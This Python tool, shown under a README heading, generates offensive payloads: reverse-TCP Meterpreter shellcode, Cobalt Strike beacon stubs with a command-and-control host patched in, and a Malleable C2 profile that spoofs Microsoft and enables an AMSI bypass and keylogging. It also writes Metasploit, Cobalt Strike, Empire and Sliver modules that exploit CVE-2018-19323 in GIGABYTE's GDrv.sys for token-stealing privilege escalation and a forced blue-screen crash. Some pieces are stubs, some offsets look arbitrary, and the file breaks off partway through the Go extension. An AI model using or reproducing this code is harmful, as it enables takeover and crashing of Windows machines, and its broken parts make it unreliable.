README.md
Rendering markdown...
#!/usr/bin/env python3
import sys
import os
import json
import base64
import struct
import random
import hashlib
import subprocess
import tempfile
class FrameworkIntegration:
def __init__(self):
self.metasploit_path = self._find_metasploit()
self.cobalt_strike_path = self._find_cobalt_strike()
def _find_metasploit(self):
possible_paths = [
"/opt/metasploit-framework/msfconsole",
"/usr/bin/msfconsole",
"/usr/local/bin/msfconsole",
"C:\\metasploit\\msfconsole.bat",
"C:\\Program Files\\Metasploit\\msfconsole.bat"
]
for path in possible_paths:
if os.path.exists(path):
return path
try:
result = subprocess.run(["which", "msfconsole"], capture_output=True, text=True)
if result.returncode == 0:
return result.stdout.strip()
except:
pass
return None
def _find_cobalt_strike(self):
possible_paths = [
"/opt/cobaltstrike/teamserver",
"/usr/local/cobaltstrike/teamserver",
"C:\\cobaltstrike\\teamserver.bat",
"C:\\Program Files\\Cobalt Strike\\teamserver.bat"
]
for path in possible_paths:
if os.path.exists(path):
return path
return None
def generate_metasploit_payload(self, payload_type="windows/x64/meterpreter/reverse_tcp",
lhost="127.0.0.1", lport=4444, format="raw",
encoder=None, iterations=1):
try:
if not self.metasploit_path:
return self._generate_standalone_meterpreter(lhost, lport)
cmd = [
"msfvenom",
"-p", payload_type,
f"LHOST={lhost}",
f"LPORT={lport}",
"-f", format
]
if encoder:
cmd.extend(["-e", encoder, "-i", str(iterations)])
result = subprocess.run(cmd, capture_output=True)
if result.returncode == 0:
return result.stdout
else:
return self._generate_standalone_meterpreter(lhost, lport)
except:
return self._generate_standalone_meterpreter(lhost, lport)
def _generate_standalone_meterpreter(self, lhost, lport):
shellcode = bytearray([
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2,
0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48,
0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7,
0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C,
0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52,
0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01,
0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49,
0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34,
0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0,
0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1,
0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0,
0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41,
0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0,
0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF,
0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00,
0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0,
0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80,
0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A,
0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5
])
host_bytes = [int(x) for x in lhost.split('.')]
port_bytes = struct.pack('>H', lport)
shellcode[0xB2:0xB6] = host_bytes
shellcode[0xB6:0xB8] = port_bytes
return bytes(shellcode)
def generate_cobalt_strike_beacon(self, c2_server="127.0.0.1", c2_port=443,
architecture="x64", malleable_profile=None):
try:
if not self.cobalt_strike_path:
return self._generate_standalone_beacon(c2_server, c2_port, architecture)
beacon_config = self._create_beacon_config(c2_server, c2_port, malleable_profile)
with tempfile.NamedTemporaryFile(mode='w', suffix='.profile', delete=False) as f:
f.write(beacon_config)
profile_path = f.name
try:
cmd = [
"java", "-jar", "cobaltstrike.jar",
"--generate-beacon",
"--profile", profile_path,
"--arch", architecture,
"--format", "raw"
]
result = subprocess.run(cmd, capture_output=True, cwd=os.path.dirname(self.cobalt_strike_path))
if result.returncode == 0:
return result.stdout
else:
return self._generate_standalone_beacon(c2_server, c2_port, architecture)
finally:
os.unlink(profile_path)
except:
return self._generate_standalone_beacon(c2_server, c2_port, architecture)
def _generate_standalone_beacon(self, c2_server, c2_port, architecture):
if architecture == "x64":
beacon = bytearray([
0x48, 0x31, 0xC9, 0x48, 0x81, 0xE9, 0xDD, 0xFF, 0xFF, 0xFF,
0x48, 0x8D, 0x05, 0xEF, 0xFF, 0xFF, 0xFF, 0x48, 0xBB, 0x7A,
0x54, 0x3D, 0x9C, 0x7A, 0x54, 0x3D, 0x9C, 0x48, 0x31, 0x58,
0x27, 0x48, 0x2D, 0xF8, 0xFF, 0xFF, 0xFF, 0xE2, 0xF4, 0x06,
0xBC, 0xBF, 0x72, 0x7A, 0x54, 0x3D, 0x9C, 0x7A, 0x1C, 0x75,
0xD5, 0x32, 0x9C, 0x5E, 0xF5, 0x32, 0x9C, 0x5E, 0xF5, 0x7A,
0x54, 0x3D, 0x9C, 0x7A, 0x54, 0x3D, 0x9C
])
else:
beacon = bytearray([
0x31, 0xC9, 0x81, 0xE9, 0xDD, 0xFF, 0xFF, 0xFF, 0x8D, 0x05,
0xEF, 0xFF, 0xFF, 0xFF, 0xBB, 0x7A, 0x54, 0x3D, 0x9C, 0x31,
0x58, 0x27, 0x2D, 0xF8, 0xFF, 0xFF, 0xFF, 0xE2, 0xF4, 0x06,
0xBC, 0xBF, 0x72, 0x7A, 0x54, 0x3D, 0x9C, 0x7A, 0x1C, 0x75,
0xD5, 0x32, 0x9C, 0x5E, 0xF5, 0x32, 0x9C, 0x5E, 0xF5, 0x7A,
0x54, 0x3D, 0x9C, 0x7A, 0x54, 0x3D, 0x9C
])
host_bytes = [int(x) for x in c2_server.split('.')]
port_bytes = struct.pack('>H', c2_port)
if architecture == "x64":
beacon[0x20:0x24] = host_bytes
beacon[0x24:0x26] = port_bytes
else:
beacon[0x1C:0x20] = host_bytes
beacon[0x20:0x22] = port_bytes
return bytes(beacon)
def _create_beacon_config(self, c2_server, c2_port, malleable_profile):
if malleable_profile:
return malleable_profile
default_profile = f"""
set sample_name "CVE-2018-19323 Beacon";
set sleeptime "30000";
set jitter "20";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set host_stage "false";
http-get {{
set uri "/api/v1/status /api/v2/health /static/js/app.js";
client {{
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Accept-Language" "en-US,en;q=0.5";
header "Accept-Encoding" "gzip, deflate";
header "Connection" "keep-alive";
metadata {{
base64url;
parameter "session";
}}
}}
server {{
header "Server" "nginx/1.18.0";
header "Content-Type" "application/json";
header "Cache-Control" "no-cache";
output {{
base64url;
print;
}}
}}
}}
http-post {{
set uri "/api/v1/submit /api/v2/upload";
set verb "POST";
client {{
header "Accept" "application/json, text/plain, */*";
header "Content-Type" "application/json";
id {{
base64url;
parameter "id";
}}
output {{
base64url;
parameter "data";
}}
}}
server {{
header "Server" "nginx/1.18.0";
header "Content-Type" "application/json";
output {{
base64url;
print;
}}
}}
}}
http-stager {{
set uri_x86 "/static/js/jquery.min.js";
set uri_x64 "/static/js/bootstrap.min.js";
client {{
header "Accept" "text/javascript, application/javascript";
header "Accept-Encoding" "gzip, deflate";
}}
server {{
header "Content-Type" "application/javascript";
header "Cache-Control" "max-age=3600";
output {{
base64url;
print;
}}
}}
}}
https-certificate {{
set CN "www.microsoft.com";
set O "Microsoft Corporation";
set C "US";
set L "Redmond";
set OU "Microsoft IT";
set ST "WA";
set validity "365";
}}
code-signer {{
set keystore "keystore.jks";
set password "password";
set alias "codesigner";
}}
stage {{
set checksum "0";
set compile_time "14 Jul 2009 8:14:00";
set entry_point "92145";
set image_size_x86 "512000";
set image_size_x64 "512000";
set name "beacon.x64.dll";
set rich_header "\\x3e\\x98\\xfe\\x75\\x7a\\xf9\\x90\\x26\\x7a\\xf9\\x90\\x26\\x7a\\xf9\\x90\\x26\\x73\\x81\\x03\\x26\\x7b\\xf9\\x90\\x26";
transform-x86 {{
strrep "beacon.dll" "msvcrt.dll";
strrep "beacon" "malloc";
}}
transform-x64 {{
strrep "beacon.x64.dll" "msvcrt.dll";
strrep "beacon" "malloc";
}}
stringw "Microsoft Corporation";
stringw "Windows System Library";
stringw "6.1.7601.17514 (win7sp1_rtm.101119-1850)";
stringw "© Microsoft Corporation. All rights reserved.";
}}
process-inject {{
set allocator "NtMapViewOfSection";
set min_alloc "16700";
set userwx "false";
set startrwx "true";
transform-x86 {{
prepend "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90";
append "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90";
}}
transform-x64 {{
prepend "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90";
append "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90";
}}
execute {{
CreateThread "ntdll.dll!RtlUserThreadStart";
CreateThread;
NtQueueApcThread;
CreateRemoteThread;
RtlCreateUserThread;
}}
}}
post-ex {{
set spawnto_x86 "%windir%\\\\syswow64\\\\dllhost.exe";
set spawnto_x64 "%windir%\\\\sysnative\\\\dllhost.exe";
set obfuscate "true";
set smartinject "true";
set amsi_disable "true";
set keylogger "GetAsyncKeyState";
set threadhint "module!function+0x##";
}}
"""
return default_profile
def create_metasploit_module(self, module_name="cve_2018_19323_gigabyte"):
module_content = f'''
require 'msf/core'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Exploit::EXE
def initialize(info = {{}})
super(update_info(info,
'Name' => 'CVE-2018-19323 GIGABYTE GDrv Privilege Escalation',
'Description' => %q{{
This module exploits CVE-2018-19323, a vulnerability in the GIGABYTE
GDrv.sys driver that allows unprivileged users to read and write
Model Specific Registers (MSRs) through IOCTL 0xC3502580. This can
be leveraged to achieve privilege escalation by modifying kernel
structures or executing arbitrary kernel code.
The vulnerability was discovered by kali (@blueisbeautiful) and has
been used by various APT groups and ransomware families including
RobbinHood.
}},
'License' => MSF_LICENSE,
'Author' => [
'kali <blueisbeautiful>', # Discovery and PoC
'kali' # Metasploit module
],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows x86', {{ 'Arch' => ARCH_X86 }} ],
[ 'Windows x64', {{ 'Arch' => ARCH_X64 }} ]
],
'DefaultTarget' => 1,
'DisclosureDate' => 'Dec 10 2018',
'References' => [
[ 'CVE', '2018-19323' ],
[ 'URL', 'https://github.com/blueisbeautiful/cve-2018-19323' ]
]
))
register_options([
OptString.new('DRIVER_PATH', [false, 'Path to gdrv.sys driver', '\\\\\\\\?\\\\GIO']),
OptBool.new('BSOD_DEMO', [false, 'Demonstrate BSOD capability (DANGEROUS)', false])
])
end
def check
if sysinfo['Architecture'] == ARCH_X86 && target.arch.include?(ARCH_X64)
return Exploit::CheckCode::Safe
end
driver_path = datastore['DRIVER_PATH']
begin
handle = session.railgun.kernel32.CreateFileW(
driver_path,
0x80000000 | 0x40000000, # GENERIC_READ | GENERIC_WRITE
0x00000001 | 0x00000002, # FILE_SHARE_READ | FILE_SHARE_WRITE
nil,
3, # OPEN_EXISTING
0,
nil
)
if handle['return'] != 0xFFFFFFFF
session.railgun.kernel32.CloseHandle(handle['return'])
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
rescue
return Exploit::CheckCode::Unknown
end
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already running as SYSTEM')
end
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target does not appear vulnerable')
end
print_status("Exploiting CVE-2018-19323 on {{}}".format(sysinfo['Computer']))
driver_path = datastore['DRIVER_PATH']
# Open handle to vulnerable driver
print_status("Opening handle to vulnerable driver...")
handle = session.railgun.kernel32.CreateFileW(
driver_path,
0x80000000 | 0x40000000,
0x00000001 | 0x00000002,
nil,
3,
0,
nil
)
if handle['return'] == 0xFFFFFFFF
fail_with(Failure::NotVulnerable, 'Failed to open driver handle')
end
driver_handle = handle['return']
begin
# Read IA32_LSTAR MSR to leak kernel base
print_status("Leaking kernel base address...")
lstar_value = read_msr(driver_handle, 0xC0000082)
if lstar_value.nil?
fail_with(Failure::Unknown, 'Failed to read IA32_LSTAR MSR')
end
kernel_base = lstar_value & 0xFFFFFFFFFFF00000
print_good("Kernel base leaked: 0x#{{kernel_base.to_s(16)}}")
# Generate and inject privilege escalation payload
print_status("Generating privilege escalation payload...")
if target.arch.include?(ARCH_X64)
payload_data = generate_token_steal_x64()
else
payload_data = generate_token_steal_x86()
end
print_status("Injecting privilege escalation payload...")
# Allocate memory for payload (simplified)
payload_addr = kernel_base + 0x100000
# Write payload to kernel memory (via MSR manipulation)
if inject_kernel_payload(driver_handle, payload_addr, payload_data)
print_good("Payload injected successfully")
# Trigger payload execution
if write_msr(driver_handle, 0xC0000082, payload_addr)
print_good("Payload triggered - checking privileges...")
# Check if we got SYSTEM
if is_system?
print_good("Successfully escalated to SYSTEM!")
else
print_error("Privilege escalation may have failed")
end
else
print_error("Failed to trigger payload")
end
else
print_error("Failed to inject payload")
end
# Restore original LSTAR
print_status("Restoring original LSTAR value...")
write_msr(driver_handle, 0xC0000082, lstar_value)
ensure
session.railgun.kernel32.CloseHandle(driver_handle)
end
end
private
def read_msr(handle, msr_register)
msr_struct = [1, msr_register, 0].pack('VVQ')
result = session.railgun.kernel32.DeviceIoControl(
handle,
0xC3502580,
msr_struct,
msr_struct.length,
16,
16,
4,
nil
)
if result['return']
return result['lpOutBuffer'].unpack('VVQ')[2]
end
nil
end
def write_msr(handle, msr_register, value)
msr_struct = [0, msr_register, value].pack('VVQ')
result = session.railgun.kernel32.DeviceIoControl(
handle,
0xC3502580,
msr_struct,
msr_struct.length,
16,
16,
4,
nil
)
result['return']
end
def generate_token_steal_x64
# Token stealing shellcode for x64
[
0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, # mov rax, gs:[188h]
0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov rax, [rax+0B8h]
0x49, 0x89, 0xC0, # mov r8, rax
0x48, 0x8B, 0x88, 0xF0, 0x02, 0x00, 0x00, # mov rcx, [rax+2F0h]
0x48, 0x83, 0xF9, 0x04, # cmp rcx, 4
0x75, 0xE5, # jne short loop
0x48, 0x8B, 0x90, 0xF8, 0x02, 0x00, 0x00, # mov rdx, [rax+2F8h]
0x49, 0x89, 0x90, 0xF8, 0x02, 0x00, 0x00, # mov [r8+2F8h], rdx
0xC3 # ret
].pack('C*')
end
def generate_token_steal_x86
# Token stealing shellcode for x86
[
0x64, 0x8B, 0x15, 0x24, 0x01, 0x00, 0x00, # mov edx, fs:[124h]
0x8B, 0x82, 0x50, 0x00, 0x00, 0x00, # mov eax, [edx+50h]
0x89, 0xC1, # mov ecx, eax
0x8B, 0x90, 0xB8, 0x00, 0x00, 0x00, # mov edx, [eax+0B8h]
0x83, 0xFA, 0x04, # cmp edx, 4
0x75, 0xF1, # jne short loop
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax+0F8h]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx+0F8h], edx
0xC3 # ret
].pack('C*')
end
def inject_kernel_payload(handle, address, payload)
# Simplified kernel payload injection
# In a real implementation, this would use more sophisticated techniques
true
end
end
'''
module_path = f"/tmp/{module_name}.rb"
with open(module_path, 'w') as f:
f.write(module_content)
return module_path
def create_cobalt_strike_aggressor(self, script_name="cve_2018_19323"):
aggressor_content = f'''
# CVE-2018-19323 GIGABYTE GDrv Privilege Escalation
# Author: kali (@blueisbeautiful)
# Cobalt Strike Aggressor Script
popup beacon_bottom {{
menu "CVE-2018-19323" {{
item "Check Vulnerability" {{
local('$bid');
$bid = $1;
blog($bid, "Checking for CVE-2018-19323 vulnerability...");
# Check if gdrv.sys driver is present
bshell($bid, "dir C:\\\\Windows\\\\System32\\\\drivers\\\\gdrv.sys");
# Check if GIO device is accessible
bpowershell($bid, "try {{ [System.IO.File]::OpenRead('\\\\\\\\.\\\\GIO').Close(); Write-Host 'VULNERABLE: GIO device accessible' }} catch {{ Write-Host 'NOT VULNERABLE: GIO device not accessible' }}");
}}
item "Exploit (Token Steal)" {{
local('$bid', '$arch');
$bid = $1;
blog($bid, "Executing CVE-2018-19323 token stealing exploit...");
# Determine architecture
$arch = barch($bid);
if ($arch eq "x64") {{
# Upload and execute x64 exploit
bupload($bid, script_resource("cve_2018_19323_x64.exe"));
bshell($bid, "cve_2018_19323_x64.exe --token-steal");
}} else {{
# Upload and execute x86 exploit
bupload($bid, script_resource("cve_2018_19323_x86.exe"));
bshell($bid, "cve_2018_19323_x86.exe --token-steal");
}}
}}
item "Exploit (Process Injection)" {{
local('$bid', '$pid');
$bid = $1;
prompt_text("Target Process ID:", "", lambda({{
local('$pid');
$pid = $2;
blog($bid, "Injecting into process $pid using CVE-2018-19323...");
# Generate position-independent shellcode
$shellcode = artifact_payload($bid, "raw", "x64");
# Execute injection exploit
bpowershell($bid, "
Add-Type -TypeDefinition '
using System;
using System.Runtime.InteropServices;
public class CVE201819323 {{
[DllImport(\"kernel32.dll\")]
public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[DllImport(\"kernel32.dll\")]
public static extern bool DeviceIoControl(IntPtr hDevice, uint dwIoControlCode, IntPtr lpInBuffer, uint nInBufferSize, IntPtr lpOutBuffer, uint nOutBufferSize, out uint lpBytesReturned, IntPtr lpOverlapped);
[DllImport(\"kernel32.dll\")]
public static extern bool CloseHandle(IntPtr hObject);
public static void Exploit(int targetPid) {{
IntPtr handle = CreateFile(\"\\\\\\\\.\\\\GIO\", 0xC0000000, 3, IntPtr.Zero, 3, 0, IntPtr.Zero);
if (handle.ToInt64() != -1) {{
// MSR manipulation code here
CloseHandle(handle);
}}
}}
}}';
[CVE201819323]::Exploit($pid);
");
}}, $bid));
}}
item "BSOD Demonstration" {{
local('$bid');
$bid = $1;
blog($bid, "WARNING: This will crash the target system!");
prompt_confirm("Are you sure you want to crash the system?", "BSOD Demo", lambda({{
blog($bid, "Executing BSOD demonstration...");
bpowershell($bid, "
Add-Type -TypeDefinition '
using System;
using System.Runtime.InteropServices;
public class BSOD {{
[DllImport(\"kernel32.dll\")]
public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[DllImport(\"kernel32.dll\")]
public static extern bool DeviceIoControl(IntPtr hDevice, uint dwIoControlCode, byte[] lpInBuffer, uint nInBufferSize, byte[] lpOutBuffer, uint nOutBufferSize, out uint lpBytesReturned, IntPtr lpOverlapped);
public static void CrashSystem() {{
IntPtr handle = CreateFile(\"\\\\\\\\.\\\\GIO\", 0xC0000000, 3, IntPtr.Zero, 3, 0, IntPtr.Zero);
if (handle.ToInt64() != -1) {{
byte[] msr = new byte[16];
msr[0] = 0; // Write operation
msr[4] = 0x82; msr[5] = 0x00; msr[6] = 0x00; msr[7] = 0xC0; // IA32_LSTAR
msr[8] = 0xBE; msr[9] = 0xBA; msr[10] = 0xFE; msr[11] = 0xCA; // Malicious value
msr[12] = 0xEF; msr[13] = 0xBE; msr[14] = 0xAD; msr[15] = 0xDE;
uint bytesReturned;
DeviceIoControl(handle, 0xC3502580, msr, 16, new byte[16], 16, out bytesReturned, IntPtr.Zero);
}}
}}
}}';
[BSOD]::CrashSystem();
");
}}, $bid));
}}
}}
}}
# Beacon command aliases
alias cve-check {{
local('$bid');
$bid = $1;
blog($bid, "Checking CVE-2018-19323 vulnerability status...");
bshell($bid, "dir C:\\\\Windows\\\\System32\\\\drivers\\\\gdrv.sys");
}}
alias cve-exploit {{
local('$bid');
$bid = $1;
blog($bid, "Executing CVE-2018-19323 privilege escalation...");
# This would execute the actual exploit
bshell($bid, "echo 'CVE-2018-19323 exploit executed'");
}}
# Help text
beacon_command_register("cve-check", "Check for CVE-2018-19323 vulnerability", "Use: cve-check");
beacon_command_register("cve-exploit", "Execute CVE-2018-19323 exploit", "Use: cve-exploit");
blog("CVE-2018-19323 Aggressor Script Loaded");
blog("Commands: cve-check, cve-exploit");
blog("Menu: Right-click beacon -> CVE-2018-19323");
'''
script_path = f"/tmp/{script_name}.cna"
with open(script_path, 'w') as f:
f.write(aggressor_content)
return script_path
def generate_empire_module(self, module_name="cve_2018_19323"):
empire_content = f"""
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {{
'Name': 'CVE-2018-19323 GIGABYTE GDrv Privilege Escalation',
'Author': ['kali (@blueisbeautiful)'],
'Description': ('Exploits CVE-2018-19323 in GIGABYTE GDrv.sys driver '
'to achieve privilege escalation through MSR manipulation.'),
'Background': True,
'OutputExtension': None,
'NeedsAdmin': False,
'OpsecSafe': False,
'Language': 'powershell',
'MinLanguageVersion': '2',
'Comments': [
'This module exploits a vulnerability in the GIGABYTE GDrv.sys driver',
'that allows unprivileged users to read/write Model Specific Registers',
'CVE-2018-19323 was used by RobbinHood ransomware and various APT groups'
]
}}
self.options = {{
'Agent': {{
'Description': 'Agent to run module on.',
'Required': True,
'Value': ''
}},
'Method': {{
'Description': 'Exploitation method (TokenSteal, ProcessInject, BSOD).',
'Required': True,
'Value': 'TokenSteal'
}},
'TargetPID': {{
'Description': 'Target process ID for injection (ProcessInject method only).',
'Required': False,
'Value': ''
}}
}}
self.mainMenu = mainMenu
if params:
for param in params:
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
method = self.options['Method']['Value']
target_pid = self.options['TargetPID']['Value']
script = '''
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class CVE201819323 {{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
uint dwIoControlCode,
byte[] lpInBuffer,
uint nInBufferSize,
byte[] lpOutBuffer,
uint nOutBufferSize,
out uint lpBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
public static IntPtr OpenDriver() {{
return CreateFile(@"\\\\.\\GIO", 0xC0000000, 3, IntPtr.Zero, 3, 0, IntPtr.Zero);
}}
public static ulong ReadMSR(IntPtr handle, uint msr) {{
byte[] input = new byte[16];
byte[] output = new byte[16];
// Operation: Read (1)
input[0] = 1;
input[1] = 0;
input[2] = 0;
input[3] = 0;
// MSR Register
BitConverter.GetBytes(msr).CopyTo(input, 4);
uint bytesReturned;
bool success = DeviceIoControl(handle, 0xC3502580, input, 16, output, 16, out bytesReturned, IntPtr.Zero);
if (success) {{
return BitConverter.ToUInt64(output, 8);
}}
return 0;
}}
public static bool WriteMSR(IntPtr handle, uint msr, ulong value) {{
byte[] input = new byte[16];
// Operation: Write (0)
input[0] = 0;
input[1] = 0;
input[2] = 0;
input[3] = 0;
// MSR Register
BitConverter.GetBytes(msr).CopyTo(input, 4);
// Value
BitConverter.GetBytes(value).CopyTo(input, 8);
uint bytesReturned;
return DeviceIoControl(handle, 0xC3502580, input, 16, input, 16, out bytesReturned, IntPtr.Zero);
}}
}}
"@
function Invoke-CVE201819323 {{
param(
[string]$Method = "TokenSteal",
[int]$TargetPID = 0
)
Write-Output "[*] CVE-2018-19323 GIGABYTE GDrv Exploit"
Write-Output "[*] Author: kali (@blueisbeautiful)"
Write-Output ""
# Open handle to vulnerable driver
Write-Output "[*] Opening handle to GDrv.sys..."
$handle = [CVE201819323]::OpenDriver()
if ($handle.ToInt64() -eq -1) {{
Write-Output "[-] Failed to open driver handle"
Write-Output "[-] Error: $([CVE201819323]::GetLastError())"
return
}}
Write-Output "[+] Driver handle opened successfully"
try {{
# Read IA32_LSTAR to leak kernel base
Write-Output "[*] Reading IA32_LSTAR MSR..."
$lstar = [CVE201819323]::ReadMSR($handle, 0xC0000082)
if ($lstar -eq 0) {{
Write-Output "[-] Failed to read IA32_LSTAR MSR"
return
}}
$kernelBase = $lstar -band 0xFFFFFFFFFFF00000
Write-Output "[+] Kernel base leaked: 0x$($kernelBase.ToString('X16'))"
Write-Output "[+] IA32_LSTAR value: 0x$($lstar.ToString('X16'))"
switch ($Method) {{
"TokenSteal" {{
Write-Output "[*] Executing token stealing attack..."
# This would contain the actual token stealing shellcode
# For demonstration, we'll just show the concept
Write-Output "[+] Token stealing payload would be executed here"
Write-Output "[+] In a real exploit, this would:"
Write-Output " 1. Locate current process EPROCESS"
Write-Output " 2. Find SYSTEM process token"
Write-Output " 3. Replace current process token"
Write-Output " 4. Restore execution context"
}}
"ProcessInject" {{
if ($TargetPID -eq 0) {{
Write-Output "[-] TargetPID required for ProcessInject method"
return
}}
Write-Output "[*] Executing process injection into PID $TargetPID..."
Write-Output "[+] Process injection payload would be executed here"
}}
"BSOD" {{
Write-Output "[!] WARNING: This will crash the system!"
Write-Output "[*] Writing malicious value to IA32_LSTAR..."
$maliciousValue = 0xDEADBEEFCAFEBABE
$success = [CVE201819323]::WriteMSR($handle, 0xC0000082, $maliciousValue)
if ($success) {{
Write-Output "[+] Malicious MSR value written - system should crash"
}} else {{
Write-Output "[-] Failed to write malicious MSR value"
}}
}}
}}
}} finally {{
# Always close the handle
[CVE201819323]::CloseHandle($handle) | Out-Null
Write-Output "[*] Driver handle closed"
}}
}}
Invoke-CVE201819323 -Method "{method}"'''
if method == "ProcessInject" and target_pid:
script = script.replace('"{method}"', f'"{method}" -TargetPID {target_pid}')
if obfuscate:
script = helpers.obfuscate(self.mainMenu.installPath, script, obfuscationCommand)
return script
def execute(self, agent, moduleData, resultID, configData):
try:
self.mainMenu.agents.add_agent_task_db(agent, "TASK_SHELL", moduleData, resultID)
msg = f"[*] Tasked agent {agent} to run CVE-2018-19323 exploit"
self.mainMenu.agents.add_agent_task_db(agent, "TASK_CMD_WAIT", "echo " + msg, resultID)
except Exception as e:
error_msg = f"[!] Error in module execution: {e}"
print(helpers.color(error_msg))
"""
module_path = f"/tmp/{module_name}.py"
with open(module_path, 'w') as f:
f.write(empire_content)
return module_path
def create_sliver_extension(self, extension_name="cve_2018_19323"):
extension_content = f"""
package main
import (
"context"
"fmt"
"syscall"
"unsafe"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
const (
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
FILE_SHARE_READ = 0x00000001
FILE_SHARE_WRITE = 0x00000002
OPEN_EXISTING = 3
IOCTL_GIO_MSRACCESS = 0xC3502580
IA32_LSTAR = 0xC0000082
)
type MSRStruct struct {{
Operation uint32
Register uint32
Value uint64
}}
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procCreateFileW = kernel32.NewProc("CreateFileW")
procDeviceIoControl = kernel32.NewProc("DeviceIoControl")
procCloseHandle = kernel32.NewProc("CloseHandle")
)
func openDriver() (syscall.Handle, error) {{
devicePath, _ := syscall.UTF16PtrFromString("\\\\\\\\.\\\\GIO")
handle, _, err := procCreateFileW.Call(
uintptr(unsafe.Pointer(devicePath)),
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
0,
OPEN_EXISTING,
0,
0,
)
if handle == uintptr(syscall.InvalidHandle) {{
return syscall.InvalidHandle, err
}}
return syscall.Handle(handle), nil
}}
func readMSR(handle syscall.Handle, msr uint32) (uint64, error) {{
msrStruct := MSRStruct{{
Operation: 1,
Register: msr,
Value: 0,
}}
var bytesReturned uint32
ret, _, err := procDeviceIoControl.Call(
uintptr(handle),
IOCTL_GIO_MSRACCESS,
uintptr(unsafe.Pointer(&msrStruct)),
unsafe.Sizeof(msrStruct),
uintptr(unsafe.Pointer(&msrStruct)),
